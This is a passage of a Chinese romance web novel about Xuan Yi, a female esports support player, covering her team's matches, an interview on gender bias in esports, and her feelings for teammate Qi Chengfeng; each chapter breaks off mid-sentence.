“鸣哥,信我这一把。” 得到那头的肯定后宣依掰开一侧耳机又扭头询问身后的工作人员:“两个打野英雄不违规吧?” “阵容选择,我们不干涉。” 宣依扣回耳机的一刻,齐呈枫握住了她的手,他将麦掰到了一边:“宣依,我们会赢的,你好好打。” 话落的时候对局载入了加载页面。 昏暗场馆内,所有人都等待着对局开始,而角落的选手席上,宣依向齐呈枫的方向微微倾身,也掰开了自己的麦:“齐少,你放心。” 进入峡谷。 宣依买了宝石,跟着程舟刷了第一波线。 “不得不说,阿轲刷线确实快啊。”程舟感叹着准备往红区探视野。 “红开。”宣依往野区看了一下,从己方野区绕到了下路。 一种诡异的平静持续到了两分半,他们来切割,宣依就护着齐呈枫边输出边往塔下退。 他们压对面时也绝不越塔。 以至于四分钟,一血都还没掉。 这种状况持续越久,一血就愈发珍贵。在双方士气相当之际,谁先掉人头谁就落下风。 “开龙咯。”凌一鸣开口。 宣依拉了下龙坑视野,会心一笑:“OK。” 留下齐呈枫独守下路未清完的兵线。 宣依从二塔绕进野区,她拉着 22. 这是第二十二章 打电竞赚的多吗? 《这个辅助有点野》全本免费阅读 比赛结束后还有一个小采访。 CY留在休息室内雀跃:“哦吼,我们都拿下BTG了,岂不是亚军有望!” “这规则和KPL又不一样,到时候正式比赛碰上可不一定像今天这样了。” 宣依坐在角落的沙发上翻看着手机里秦珠铺天盖地的记录。 身旁人影落下。 宣依依旧平淡地往下滑着。 “宣依,对我们来说今天只是一场普通的比赛,我们未来还有很多机会上场,但你不是想留在这嘛?为什么要用阿轲?” 往日那种淡定烟消云散,此时的齐呈枫握着刨根问底的态度站在宣依身旁,皱着眉很是不悦。 “我这不是在向你证明,养成辅助思维很简单嘛?”宣依揣回手机站起身看向齐呈枫,“我且问你,我护你,护得好不好?” 两个闪现接钟馗二,还有不计其数为齐呈枫殿后的输出,在她的保护下,齐呈枫4-0。 齐呈枫在宣依的注视下,愣了神,语气也软了下来:“就因为这个,你不向任姐证明自己了?” “该证明的东西我已经证明了,”宣依又掏出手机点着什么,“齐少不会50块都舍不得吧?” 宣依抬起收款码转向齐呈枫。 她丝毫没有因为齐呈枫的话感到内疚或是后悔,此时的目光清澈像是对50块钱有着极大的期待。 齐呈枫抿唇,无话可说地低下头倒腾手机。 半分钟后随着叮的一声提示音,宣依收到了一笔转账。 “谢谢齐少啦!” 宣依心满意足地倒回了沙发,截了个图发给秦珠【比赛奖金到手】 【珠:多少!!!】 宣依看着尾上的三个感叹号觉得莫名,50块至于嘛?她点进那张截图。 白底黑字,清清楚楚。 7向你转账——5000。 宣依怔愣在了这串数字前,直到秦珠的消息弹窗再次亮起【卧槽,一把5000!!!】 那头乒铃乓啷的一通输出没再得到回复。 宣依捏着手机转身寻找齐呈枫的身影。 他正靠在门边的沙发上和程舟他们谈笑,宣依站起身迈步,恰时一个工作人员从门口敲门探身通知道:“CY,马上到你们的队伍采访了。” 一群人嘻嘻哈哈跟着工作人员走出了休息室,齐呈枫走在前列,宣依在狭窄的走廊几次试图走到前面质问都被往来的其他人打断。 只能跟在末尾紧盯着那个身影。 采访专用的房间比较小,架着两台摄影机,主持人坐在其中一台的后面,笑盈盈地朝门边看来。 摄影机前打着衬肤色的灯光,摆着高低两种板凳。 宣依跟着他们入座在了后排的高凳上。 而齐呈枫就在她的斜前方。 主持人看着所有人入座后便捏着小卡片提了几个比较日常的问题,关于训练和队员相处的问题。 这些问题通通都由程舟回答了。 “好的,接下来是收集到的一些网友好奇的问题,因为CY是一支比较崭新的队伍,所以问题并不是很多,我们便全部都收集下来了,”主持人翻过卡片而后抬眸看向了齐呈枫,“第一个问题是专门问你的,Archer,有人好奇为什么你两年前要离开南城AQ呢?” 宣依在分秒间想起了这个熟悉的战队,那天单挑的那支战队,他们与齐呈枫之间有种诡异的氛围,亲近又陌生,就连一向淡然的齐呈枫在提起他们时也有明显的异样,原来他们曾是队友。 “准备高考。” 听到这个答案,主持人和宣依都有些没反应过来。 但显然主持人的应变能力比宣依好很多,顿了半秒便很自然地接上了话:“你的资料上是18岁,高考不应该是在去年或者今年吗?” “嗯,我小学跳了两级,所以16岁的时候就高三了,现在是休学状态。” “原来还是学霸啊。” 宣依在后面有些出神地消化着齐呈枫的话。所以他不仅没辍学,甚至还是个两年前就高考完了的学霸。 世界参差。 “那下一个问题,”主持人笑笑又翻向下一张卡片,抬眸下意识看了眼宣依的方向,“这个问题还挺适合你们的。” “请问你们对于女生打电竞有什么看法?” 后期并不需要剪辑这些冗长的访问内容,看似群体性的问答,主持人只随便点了两个人来回答。 程舟:“我是个很没主见的人,但我觉得电竞就是能者居之,不分性别。” 主持人点点头又看向凌一鸣。 “这个问题其实等节目播出后自会有很多人发表看法,”凌一鸣的手落在了宣依的肩上,“我们的小辅助会让大家看到女选手打电竞是什么样子。” 宣依因肩头突然降下的手一震,下意识耸肩避开了凌一鸣的手继续停留在肩头的趋势。 也在此刻,她看见齐呈枫转头看向了凌一鸣,在碎发之下,他皱着眉头。 “这个问题也没有什么适合我们的说法,如果适合,那也应该是她来回答。” 宣依从齐呈枫身上收回思绪,看向主持人。 她在凌一鸣的衬托下小小一只,身上套着宽松的橙黄色夹克再加上白色灯光的照射,她稚气的形象更是惹眼。 要不是目睹过刚才的比赛,主持人也要被她这无害的外貌欺骗。 “那,你有没有兴趣回答一下呢?”主持人也不知道如何称呼宣依,只能恭敬地用“你”来代指。 宣依反应了一下,微微扭头看向了镜头:“我其实不想对这件事有看法,毕竟这个问题的出现就已经证明了,电竞是有着浓烈的性别歧视。” 镜头里,她的手搭在膝盖上,脊背挺直,目光直白:“我很渺小改变不了什么,但倘若能让大家看到电竞的舞台上出现一个女生,能让大家记住我的出现,这就够了。” 她盯着镜头的目光直白,仿佛面对的正是提出这个问题的人。 “但其实,只要热爱,无关强弱,无关性别。” 她的话让房间陷入了一片沉寂。 是的,如果说合适,自然是让女生来回答这个问题最合适。她们受着偏见却连发声的权利都没有。 采访到最后,主持人站起身洋溢笑容:“好的,今天的采访就到这儿了,很荣幸能采访到你们。” 双方互相鞠了个躬准备离开。 主持人收起话筒,拍了拍宣依:“诶,妹妹问你一 23. 这是第二十三章 《这个辅助有点野》全本免费阅读 齐呈枫淡淡地打量了任哲文三遍,再扭头,宣依的视线还停留在这个没他高,没他帅的人身上。 “任哲文?”秦珠探身看去,然后满是震惊,“卧槽,依依是任哲文!” 名字好听嘛? 齐呈枫自顾自地将自己名字和他名字在嘴边呢喃了一遍,名字也没他好听,有什么好看的。 好不容易收回视线还是因为队伍又开始移动了,而任哲文随着任宙走在最前面。 齐呈枫听着秦珠那跳跃的话题一下又来到了任哲文身上:“依依,你觉得任哲文刚才看见你了嘛?” 也没等宣依做出回应,秦珠自顾自继续说:“应该是没看见,要不然怎么可能这么淡定……不过海浔这么小嘛,还是你俩有缘啊?这都能碰上。” “没缘。” - 一行人进了一家坐落十字路口的中餐馆,生意很好,服务员马不停蹄地在餐桌间奔波。 任宙让他们先入座等待。 也是此刻任哲文转身看见了队伍边缘的宣依,惊喜与笑容同时出现:“宣依!” 齐呈枫脚步微微挪动,虚掩住宣依的手臂,以此来隔绝她与任哲文的距离。 “今天不是周二嘛?”任哲文并没关注到齐呈枫那若有若无地掩护,直接停在了宣依身前:“噢,你参加的春招吧?” “有想好院校嘛,我给你分析一下吧。” 宣依的脚步往齐呈枫身边挪动,原本只遮住了手臂,现在半个身子都挡在了齐呈枫身后:“不用了,有人给我分析过了。” 说着,便跟随程舟寻了个位置坐下。 秦珠自然地跟上宣依步伐坐在了她的右侧,任哲文便扯着她左侧的凳子坐下,又从挎包里抽出两张纸巾,将碗里里外外擦了一遍后递给宣依。 “怎么个事呢?”程舟坐在斜对面的座位握着筷子敲碗,“我家依妹是好看,但你这才刚见面就献殷勤怕是不对吧。” “刚见面?”任哲文闻言挂上礼貌的笑,“我和宣依是校友,我都追她两年多了,怎么会是刚见面呢?” 任宙从前台过来,听到这话后忽然想起什么:“喜欢两年……我家小宣是去年害你摔断手那个女生啊?” “我……”宣依闻言就要反驳。 任哲文怒气呵呵地开口:“我都说了多少遍了,是我自己摔下来的,老妈不信就算了你也跟着起什么哄?” “哦哟,还怕我们小宣误会你啊?”任宙坐下,也抽了两张纸擦碗筷。 “去年一月十九?”齐呈枫淡淡询问。 “从楼梯上摔下来算什么黄道吉日嘛?还需要特地记一下吗?”任哲文开着玩笑:“应该差不多那几天吧,就期末考试结束。” “呵,”齐呈枫哼笑一声,“确实不是什么黄道吉日。” 任哲文也不清楚齐呈枫的性格,听他这冷冷一笑便觉得此人不好相处,扭头继续和宣依聊:“给你看学校那个人靠谱吗?我去年刚考完填完志愿,还是比较熟悉的。” 宣依把任哲文递她的碗推了回去,另外抽了两张纸擦碗,甚至都不抬眼看下他:“比你靠谱。” 任哲文哑言,又看向任宙换个新话题:“姐,宣依也是你们战队的吗?” “你小子别打我战队的主意,你那三脚猫拳法我不欢迎啊!” 宣依擦完碗便埋头滑动手机,对任哲文的一番对话丝毫不感兴趣。 恰巧屏幕上方弹出一条消息。 【7:惹你不高兴那个?】 宣依不明所以地敲下问号。 【7:任喆闻。】 看着屏幕上这个熟悉又陌生的名字,宣依敲击着字母将几个字纠正过来,点完发送后又觉得其实没什么必要。 他那样的大少爷会在意这些细枝末节的小事吗? 等等, 会! 齐呈枫是如何确认任哲文是当时从楼梯间摔倒那个男生的?是他口中的“一月十九”,一个宣依都记不得的日期,他却记得。 甚至那个时候他还是栖枫,对于一个陌生的网友他都如此关心。 对面再次弹出消息【7:那比我想象中还难听。】 他的话有些无厘头了。 【啊?】 桌上相谈甚欢,桌下输入法啪啪敲着。 【7:除了眼光好,一无是处。】 原来齐大少爷也会在小小聊天框里吐槽别人的吗?宣依看到这句话下意识抬头看向了齐呈枫,蓬松的头发垂在眉目前,手指还灵活地游走在屏幕上。 消息振动召回宣依的思绪。 【7:不过,如果你喜欢他当我没说。】 宣依看完这句话,索性扣了三个问号过去,发出去两秒又被撤回,换成了一句干净利落的话——我,不喜欢他。 齐呈枫似乎对这个回复很满意,回了个表情便关了手机。 “菜还没上,那我就先说一下这两天的安排,”任宙的语气严肃起来,“我们的第一场比赛是在大后天也就是四月二号的晚上,如果到时候郑晨你的手还没完全好,就还是宣依上,不要勉强。” 宣依默默看向郑晨的手,拆掉了纱布,手背上残留一些水泡阉掉的痕迹,除此之外他的手看起来没什么变化。 但这些痕迹对他正常打完一把游戏毫无影响。 “如果好了的话……”任宙端起一次性水杯卖了个关子,语调随着她放下水后的笑意上扬,“那还是宣依上,毕竟你这些日子都没训练,得花点时间熟悉一下。” 众人开怀大笑。 “然后第一场比赛是和百尚荣光打,你们现在是B组,每一场比赛对你们来说都很重要,不要给我学BTG那套。” 桌上的情绪随着任宙的话改变。 “明天早上体能训练,下午就分析一下百尚荣光的打法和习惯,后天的话我有事,你们正常训练,然后2号也就是比赛那天的上午体能训练,下午就是你们的第一场比赛了。” 看着桌上气氛都凝固了,任哲文不禁感叹:“姐,在家压我,在外压队员啊。” 说着便凑到了宣依旁边准备吐槽,还没开口。 “说话就说话,保持距离。” 齐呈枫和宣依异口同声。 任宙闻言看了过来,笑道:“哎呦呦,贬我被嫌弃了吧!”身为教练,她平日的形象大多都是严肃的,这般耀武扬威的小孩模样,宣依还是头一次见。 但显然其他人已经司空见惯直接笑了出来。 程舟:“哈哈哈,所以弟弟真的逃不过被姐姐压吗?还好我是独生子,诶,呈枫我记得 24. 这是第二十四章 《这个辅助有点野》全本免费阅读 那天晚上,宣依靠在了沙发上,她的心情不太好,但却不知为何,一切都显得有些莫名其妙。 “依依,怎么啦?” 宣依这一路的沉默很怪异,心不在焉的,秦珠看着倒在沙发上望着天花板发呆的她,便在她身旁坐下。 这么喧嚣的城市里,竟还有如此安静的时刻。 静谧的夜里,似乎一切都变得很慢,窗外攀来的晚风连碎发都吹不动,头顶的灯光很亮,宣依望向它的目光却丝毫没闪躲。 安静又缓慢的世界将宣依晚饭时的情绪一遍遍重播,莫名其妙的失落让宣依自己也捉摸不透。 秦珠抬手在宣依眼前晃了晃:“依依?” “没事。” “你有没有事我还看不出来吗?”秦珠学着宣依倒在了沙发靠垫上,和她紧挨在一起,“你呢,藏不住心事还总是憋在心里。” “依依,你知道朋友的意义吗?”秦珠从来都不需要宣依来回答这些,她会自己娓娓道来,“朋友是会在跌倒时大笑一番又伸出手拉你的存在。” 可是身旁依旧安静,未做出任何回应,秦珠偏头看向宣依,语气有些低沉:“如果你没把我当朋友的话……” 在声音快要夹带上哭腔之际,她撑着身子站了起来:“算了,我去洗澡了。” 宣依看向秦珠,心情愈加沉闷。 虽然宣依从未亲口说过,但她知道秦珠是自己唯一的朋友,是自己单调乏味的世界里少有带着鲜活颜色的生命。 “秦珠,”宣依眼波流转看向她的背影,“我不知道我该怎么说,你是我很重要很重要的人,不只是朋友的关系。” 原来将自己的情绪表达出来并没有想象中那么难。 话落之际,秦珠转身扑向了她,眼泪滑落:“我就说嘛,你肯定很在意我的。” 宣依也环住了她的身子。 温暖的怀抱持续了良久,秦珠才松开手擦了擦眼泪:“如果不开心的话,要不就听听歌或者打会儿游戏吧。” 宣依的情绪向来稳定,使得秦珠并没有安慰她的经验,只能拿着万能公式询问她。 “那你要不要陪我一起打?” “好啊!”秦珠很激动地去翻手机,毕竟宣依主动开口的机会不多,她格外珍惜,“刚好带带我,嘿嘿。” 秦珠进入游戏房间,然后在主页面领奖:“等一下下噢,我领奖。” 宣依点头。 一旁的好友栏里,Archer的比赛进行了二十三分钟。 秦珠领完奖凑过来:“诶,这是你之前一起打游戏的那个男生嘛?” 胜在秦珠的英语一塌糊涂,几个字母的排列她都难以记住,要不是宣依好友少,她大概很难辨认出这个号的身份。 “应该马上打完了吧,要不要拉他一起?”话音刚落,那头的游戏便结束退了出来。 “邀吧,你不说他挺厉害的嘛?”秦珠催促着。 还不等宣依邀,那头就主动申请入队。 宣依的心扑通一跳,好像她并没有理由拒绝齐呈枫的申请。 秦珠和宣依的段位差刚好卡在了可以一起打的最大距离,导致匹配的速度有些缓慢。 三号位的麦克风忽而闪烁:“还不睡?” 屏幕那头传来的声音经过麦的高压缩依旧清澈,也许是来自麦克风的收音频率,他的声音带着不可忽视的磁性,那种不太现实的磁性。 只有声音却感觉他整个人都是干净的。 随着声音,齐呈枫的样子映入脑海。 “唔唔!”秦珠激动得一时不知说什么,“不是,什么极品呀!声音这么好听!” “变声器。”宣依冷冷回答。 “那一般。”秦珠瞬间没了兴趣。 进入游戏。 通过游戏名分析,大概是撞上了一对情侣。 “请选择你的分路。” 仅仅一周多的时间,宣依已经很自然地在预选时选择辅助了。 【跟好小娇妻:我不会玩上路诶。】 【好的零杠七:二楼可以让个辅助位吗?】 宣依对这件事并无所谓,毕竟自己并不是只能玩辅助,刚抬手要换分路。 【Archer:不让,她的辅助贼野】 【好的零杠七:我女朋友辅助,我带飞。】 宣依的手指又从分路位收了回来,此时宣依再换分路就是在站在了那对小情侣那边。 齐呈枫的方框开始快速变换着英雄,各种英雄都甩一个战绩出来。 “啊?”秦珠夹在三楼的位置不知所措,“这么牛逼?” 那个男生也在英雄池里挑选着战绩突出的英雄发着战绩,两人配合默契地将宣依的常用英雄禁了俩。 时间切换到了挑选英雄的倒计时。 “别管他俩,你想玩什么就玩什么。”齐呈枫开口。 看着男生选择了射手,宣依选了苏烈。 可坦可辅。 她点开麦克风:“我不想辅助别人。” 也不想扫兴。 齐呈枫嗯了一声,并没有说什么,在最后一秒选了澜。 最后那对小情侣选了马克波罗和瑶。 进入游戏,齐呈枫选择了蓝开。 “依依,”秦珠边清线边说,“你为什么喜欢把什么事都憋心里啊?你不觉得这样会很压抑吗?” 宣依从来没想过这个问题,但秦珠问的时候,她便有了答案:“我不知道,但我觉得将烦心事说给一个关心你的人,只会让他徒增烦恼。” 就像去年冬天时,害得栖枫花了大半个小时安慰一个陌生人。 “会烦吗?”秦珠清完线就打中路的小精灵,“可是你不给我讲,我更烦诶。” 宣依蓄力二技能压住敌方英雄,敲击着普攻键。 “你不高兴?”齐呈枫的声音从屏幕那头传来的时候,宣依才意识到自己说完那句话后没有闭麦。 她没了技能,回撤放走了残血:“齐大少爷,随便听别人讲话很没礼貌诶。” “齐大少爷?”秦珠反应了一下,“不是,他是齐呈枫啊!?” 齐呈枫潜水过来直奔敌方的残血,三两下将人头收割了:“嗯哼,所以你家依依为什么不高兴啊?” 他隔着屏幕向秦珠打探起来。 “我也不知道诶。” 两人隔着一部手机的对话却格外流畅,宣依直接把麦闭了。 “她连你都不说啊?” 秦珠见状,打开了自己的麦:“要不,你也问问?” “行,”屏幕那头的声音配合着问道,“小酿酒,为什么不高兴呢?” 哄小孩的语气,宣依连 25. 这是第二十五章 《这个辅助有点野》全本免费阅读 十五刚过,月亮又从圆慢慢变得残缺。 齐呈枫的手揣在卫衣兜里,摩挲着手机屏幕,几次扭头间发现宣依总会时不时抬头看夜空:“你喜欢月亮?” 宣依摇了摇头:“我喜欢星星。” 小乡村里的夜空是有星星点缀的,宣依笑着感慨:“小的时候,我刚学会数数,就看着天上的星星一颗一颗数,但星星布灵布灵地闪,总是数岔,在来到海浔前我都没数到过一百。” “我当时觉得数星星就是世界上最有意义的事情了,可是这儿夜晚的星星就那么几颗,”晚饭吹过她的碎发,她便抬手撩到耳后,“我才知道,原来你们从来不数星星,你们无聊时的消遣是一个小小的屏幕。” “你知道最耀眼的星星有几颗吗?”齐呈枫看向宣依。 她正因为齐呈枫的问题驻步仰望夜空。 “十三颗,”齐呈枫也随着她的目光望向星空,抬手指向那刻最亮的,“我小时候最喜欢的就是那颗,它亘古不变,永远点缀在夜空的北面。” 宣依顺着他的手指望去,那颗星星闪烁着白色光晕。 “所以,谁说我们从来不数星星了?” 齐呈枫回头遮住了宣依的视野,两人的目光撞上。 周遭往来的人与市场的喧嚣被隔绝开,昏暗夜空里寥寥几颗星星闪烁着。 “宣依,”齐呈枫手揣在兜里,在对视里似乎未避退,“你永远可以把我当成栖枫,当成你的树洞,我不觉得那会成为我的烦恼。” 夜色里,他瞳色漆黑清澈,每句话都显得真诚。 宣依在心跳慌乱之际匆匆移开视线,平淡着语气:“你们有钱人是不是都喜欢对女孩子献殷勤啊。” “嗯?” “齐呈枫,你已经有喜欢的人了,就应该和其他女生保持距离,我和你在那栋别墅之外就当普通朋友就够了,甚至我们可以当陌生人,无论是网上的栖枫还是你,我都不想有过多牵扯。” 宣依没有谈过恋爱,也不知道所谓喜欢是什么样子,但她看过很多电视也曾在课本里了解过片面的爱,大概就是刚才对视时的心跳加速,他在身边时的欢喜以及饭桌上他说有喜欢的人时心跳仿佛骤停的瞬间。 齐呈枫看着她的侧脸,轻声呼唤,想要打断她的话:“宣依……” 宣依完全屏蔽了齐呈枫的话,目光不知聚焦在远方的何处,像是出了神,说话却格外清醒:“我没有精力和你暧昧不清,我也不想因为我让你和喜欢的女生产生误会,我现在想要好好打比赛,未来还要读书工作,我没办法像你这样无忧无虑。” 说着,她叹了口气,像是做了个难以开口却又不得不开口的决定:“我们,保持距离吧。” 喜欢这种东西,向来需要连续不断的接触铺垫。及时保持距离对宣依而言就是最好的全身而退。 而她只擅长一种保持距离的方式——用一些冷漠咄咄逼人的态度让对方失落,然后主动离开,而自己只需要当那个无事人。 可此时是她丢下这些话后先迈步离开的。 看上去是不给齐呈枫任何开口的机会,但其实她是不允许自己有改变态度的时间。 被路灯拉长的一对人影也在宣依向前的步子里慢慢拉开距离。 齐呈枫捏着兜中棒棒糖的手越握越紧,直到“噗”的一声包装袋的空气被挤出,宣依一次也没回头。 - 翌日清晨,宣依起了个早,套上运动服走到门边蹲身穿鞋。 这儿的隔音算不上好,屋外的声音清晰传来。 程舟:“呈枫,你这么早就去啊?” “嗯。” 紧接着又响起一道关门声。 宣依提鞋跟的手一松,又蹬脚踩掉,回了屋里。 彻夜难眠的她思绪混乱地倒进了沙发,又一次抬头望向天花板,这一次没有灯光与耳边的慰问,只有她一人。 世界都安静下来。 也让她的思绪愈加混乱。 好像止步的时间太晚了,她在日积月累里与齐呈枫的回忆太多,他已经不只是齐家少爷的身份了,他是在网上听她心绪的栖枫,是大巴上永远属于她阵营的齐呈枫,是赛场上配合默契的绝杀射手。 宣依感受到了一种奇妙的感觉——在喜欢的人身上,缺点也会变成优点。 她竟一时之间想不起来,当初为什么那么强烈地想要带着章文华离开齐家。 好像齐家的每一个人待她们都很好。 宣依回头望向窗外,城市还陷在沉默的蓝黑里,上一次见到这样的天色是为了避开齐溪,而这一次是为了避开齐呈枫。 结果每次都撞个正着。 漆黑的走廊里没再传来一点声响,但楼梯间的角落,齐呈枫为了个解释的机会沉入灰暗里踱步熬着漫长的一分一秒。 他目睹着楼道外的天色渐渐明朗,手机里七点半的状态栏下是被一则绿色气泡铺满的聊天窗,长到居中的那个红色感叹号都格外不起眼。 一则灰色的提示压在聊天窗下“消息已发出,但被对方拒收了”。当真,半点解释的机会都不给,齐呈枫无奈地叹了口气。 都七点半了,齐呈枫不知第多少次踏上楼梯,只为看那扇依旧紧闭的铁锈门。 街道在时间的流逝中变得热闹起来,走廊里也有了响动,齐呈枫又一次踏上两阶楼梯望去。 那扇门也终于有了动静。 而对户的另一扇门里,程舟嘴里咬着面包正在研究着手机里的信息,与刚穿上鞋拉开门的秦珠撞了个满怀:“诶,这么巧!一路过去呗。” “嗯,”秦珠还困意绵绵,看了眼程舟嘴边的面包,问,“你这个面包好吃吗?” 程舟停下进食,顿步摸了摸,从衣服兜里扯出一个同款面包:“尝尝?我屯了一箱。” 秦珠撕开包装,咬下一口后也褪去了困意,两个人慢悠悠地嚼着面包朝楼道走来。 齐呈枫见从门内出来的不是宣依后便又靠回了墙边。 “呈枫?”程舟嚼着面包谈吐不清,“你怎么还没走啊?” 然后又突然清醒般扭头看向宣依的宿舍门:“秦珠,依妹走了吗。” 秦珠嚼面包的动作微楞,吐出个“早走了”后又吧唧吧唧嚼起面包。 “喔豁,我们依妹向来积极,早走了。”程舟对着齐呈枫耸了下肩,继续和秦珠往楼下走。 那扇门又恢复了紧闭状态。 齐呈枫摸索着手机屏幕,低声叹息:“已经走了吗?对我就这么避之不及?” 他收回最后的视线往楼下迈步。 秦珠听着身后的脚步声,在楼梯转角一瞥确认对象后,低头在屏幕上敲击【OK,他走了】 发完就继续啃起面包。 身后的脚步不轻不慢的跟着,秦珠窃喜着和程舟聊天,一直下了楼转弯往外走时却忽然发现身后的脚步声没了,猛地一转头,齐呈枫已经停在了单元楼门口。 啊?糟糕。 秦珠又慌忙掏出手机撤回消息,重新编辑【等等,他换到楼下蹲你了!】 可另一头的宣依在收到秦珠第一条汇报消息的时候便穿好了鞋出门。 秦珠走出一段距离后连打了两个喷嚏,身后的单元楼门口两个 26. 这是第二十六章 《这个辅助有点野》全本免费阅读 连着两天的训练,宣依都有意无意地保持着距离。 体能训练会在齐呈枫快要靠近时加快步伐又或是改变路径。实战训练也会换位,所有交流仅停留在耳麦里三两句的沟通。 齐呈枫靠近一步,宣依后退一步。 他们之间也没有迅速拉开距离,只是支撑在天平上保持恒定的关系。 程舟摘下耳机靠在椅子上悠哉悠哉地看着宣依出训练室后又连忙拉着椅子凑到齐呈枫身旁:“呈枫,现在呢,你准备怎么办呀?” “人家宣依刚才可是丝毫没受影响,刚才那两波团都开得很好诶,”郑晨的手基本已经痊愈,几块较大的水泡印也几乎褪去,“追这么多年都不成,要不还是放弃算了。” 几个人对大少爷的恋爱尤感新奇,纷纷凑到了一起。 “要不搞个大的,你看过之前网上那个投屏表白嘛,到时候……”程舟顺着网上那些表白出起馊主意。 魏晟啧啧两声,打断了程舟沉浸式的介绍:“咦,你看宣依像是喜欢那种的人嘛?” 几个人你一言我一语的,比起任宙叫他们分析对局时不知积极了多少倍。 齐呈枫却还戴着耳机保持着沉默,片刻像是思索明白了,才慢悠悠取下耳机:“明天就比赛了,先赢了比赛再说吧。” “看不出来,呈枫你还是事业脑啊。”主角有意岔开了话题,但群众却并不想就这样结束,尤其是程舟。 齐呈枫扭头望向玻璃窗外,刚结束两把实操的宣依又捧着手机研究起了这两天的比赛:“事业脑?” 距离好像很遥远,可她的身姿很清晰。 弓着腰,面前是架着的平板。 百尚的实力在联盟是末尾, 宣依在第一天分析的时候就已经了然,可她却分毫不敢懈怠,她虽然看起来只是重复着往常的沉默和专注,可齐呈枫偏偏明白,这场比赛对于她而言不仅仅需要赢,还需要赢得漂亮,赢得彻底。 和他保持距离只是她断开所有影响因素的其中之一。 “我不是,”齐呈枫收回视线从兜里拿出手机也点进了比赛直播中,“我不希望因为我的个人情绪影响整支队伍,影响她来之不易的比赛机会。” - 隔天的比赛人气并不高涨,由于“百商荣光”这几年来人气始终垫底再加上CY还是一支无人问津的新战队,内场的门票因此滞销。 场馆内的冷清是主持人都不需要耳麦就能听见的程度,但两支队伍还是在主持人那番激情澎湃的介绍中上场。 宣依四下环视了一圈,竟在观众席上发现了一个熟悉的身影。 在对方直勾勾的目光里,宣依与之不得不对视上。 “诶,哲文!”程舟抬手吆声呼喊。 任哲文在呼唤中将视线撤到了程舟身上,也抬手向着他挥动起来。 “没想到我们初出江湖也有人奔着我们来嘛。”程舟边挥着手边向齐呈枫的方向倾身耳语,刻意提醒着他情敌的穷追不舍。 而齐呈枫并不在意这些……任哲文,还算不上情敌。 主持人并未因为现场的清寂失去热情,依旧用着拔高的音调介绍着两支战队。 而这一次宣依避无可避,再一次落座到了齐呈枫的身旁。 “如果比赛赢了,能不能给我一个谈话的机会。”齐呈枫趁着宣依还未戴上耳机,说道。 宣依抬手套耳机的动作一顿,看向齐呈枫:“齐大少爷,你比我先入行,应该很清楚什么是电竞精神。” “倘若你要为了逼我答应你的请求而故意输掉比赛也无所谓,我可以下一秒就撂摊子走人。” 她语速不快不慢,像是陈述却有着孤注一掷的决心。 舞台上的灯光昏沉,摄像机器在周边往来捕捉着场上的每一个瞬间,此时的直播只有寥寥几人在围观。 【怎么还有女选手啊?】 【别说挺好看!】 随着镜头游走过齐呈枫,刚才那条弹幕又紧接着补充到【卧槽,这男的好帅!他俩拍偶像剧呢?!】 齐呈枫在宣依平淡的语气里感受到了生气的警戒线,沉下头认输:“绝不辱电竞精神!绝对认真比赛!” 宣依看着立在眼前的三根指头配合着齐呈枫义正言辞的腔调,在快要憋不住笑意之际抓着耳机套上便扭头没再搭理他。 对局的十人入房,这是宣依第一次以她的个人名义进行比赛。 此前她代郑晨上场,连游戏号也是郑晨的。 看着屏幕里的昵称,宣依忽而一笑。 她说过,她很渺小,改变不了什么,如果她能站上电竞的舞台,想说的第一句话大概就是“谁说女子不如男”。 Hunter。 猎手,隐匿于丛林出其不意,让队友、对手、旁人心服口服的狩猎者。 比赛正式开始,百尚荣光为蓝方先选择英雄。 凌一鸣:“那就跟对面节奏走一波。” 话落,对面上来了辅助牛魔。 紧接着选英雄的秒数落到了CY这边,五楼的宣依也随之发出请求帮抢。 台下寥寥无几的观众也陷入讨论,被嘈“混子”的瑶首次出现在了KPL赛场上,出现在了CY的英雄位上,直播的镜头也随之往屏幕聚焦。 上下两张屏幕,一半是瑶的英雄海报,一半是宣依清晰稚嫩的脸庞,而此刻的她并未在意面前的摄像师,双手落在屏幕上,将召唤师技能换成了干扰。 王者的热度在微博上持续刷新着,直到第一场的英雄阵容刷新出来,讨论页面已经炸了锅。 【不是,谁让女的上场的啊?以为路人局舔野王吗?】 【瑶瑶公主也没想到会有上KPL的一天hhh】 【百尚:没想到我们也有打趴其他人的一天。】 【楼上笑死,有人给百尚垫底咯。】 在微博的热议里,直播人数瞬间高涨。 但进入页面后众网友却发现与想象中的情况大相径庭。 比赛已经进行到了四分半,第一滴血还没掉。 此时镜头框选的画面是百尚的打野诸葛亮在下路草丛蹲伽罗。而百尚的射手也随着诸葛亮的视野向前主动勾起战火。 齐呈枫短箭清完兵线后回拉,但孙尚香一个二技能滚向齐呈枫落下大炮和一技能便开始平a。 “上呗。”宣依勾勾唇从红区往防御塔后绕过来一个大招附身。 搞得好像只有他们有人蹲一样。 随着宣依一声令下,齐呈枫往墙沿拉着操作杆,切换到了长弓状态输出 27. 这是第二十七章 《这个辅助有点野》全本免费阅读 三场比赛都是在顺风中毫无压力地赢下,任谁也没想到CY在KPL的赛场上留下的第一场比赛便是零封。 闹腾的休息室里,一群人已经商量起今天的晚饭。 程舟聊着聊着发现少了点什么,四下环顾一圈后视线落在了角落胶凳上的宣依:“依妹,你有什么忌口嘛?” 宣依将消息发出后才扭头看向了沙发边围在一起的几个男生:“你们有忌口吗?” 几个人被宣依的反问给整懵了。 “我和秦珠准备在家里弄。”她又开口解释。 “哇,小依依你还会做饭呀!”程舟撑手从沙发扶手上滑下来走向角落的宣依。 几个人的中心也纷纷迁到了宣依身侧。 “不算做饭,在家烫火锅,”宣依的视线短暂间游走向齐呈枫。 倘若当时的齐呈枫未将视线落在她身上,大概很难察觉到这微乎其微的一秒钟。 像是那一刹那的对视让宣依想到了什么,又默默补充着:“家里的话,比外面干净些。” 干净嘛……宣依其实好像也没什么感觉,她只是在不经意间发现每次走向柜台结账的都是齐呈枫。 虽然程舟说这些钱是可以报销的,但除了齐呈枫没人知道报销这件事的真伪。按着他的性子,都算没有报销这回事也会怕其他人过意不去而假装有。 “好啊好啊!”程舟愈发激动,“那待会一起去买菜呗,喜欢什么买什么。” 一群人对这样的提议格外兴奋,休息室变得愈加热闹,虽然大部分的声音都来自于程舟,但好歹整间休息室的气氛都被活跃溢满。 宣依提议完又侧过身子默默看手机。 页面刚跳转进微博,休息室的门便被推开,任宙领着任哲文进来:“商量好去哪儿吃了嘛?” 空气安静片刻后,凌一鸣开口:“我们准备去买菜然后去宣依家烫火锅。” 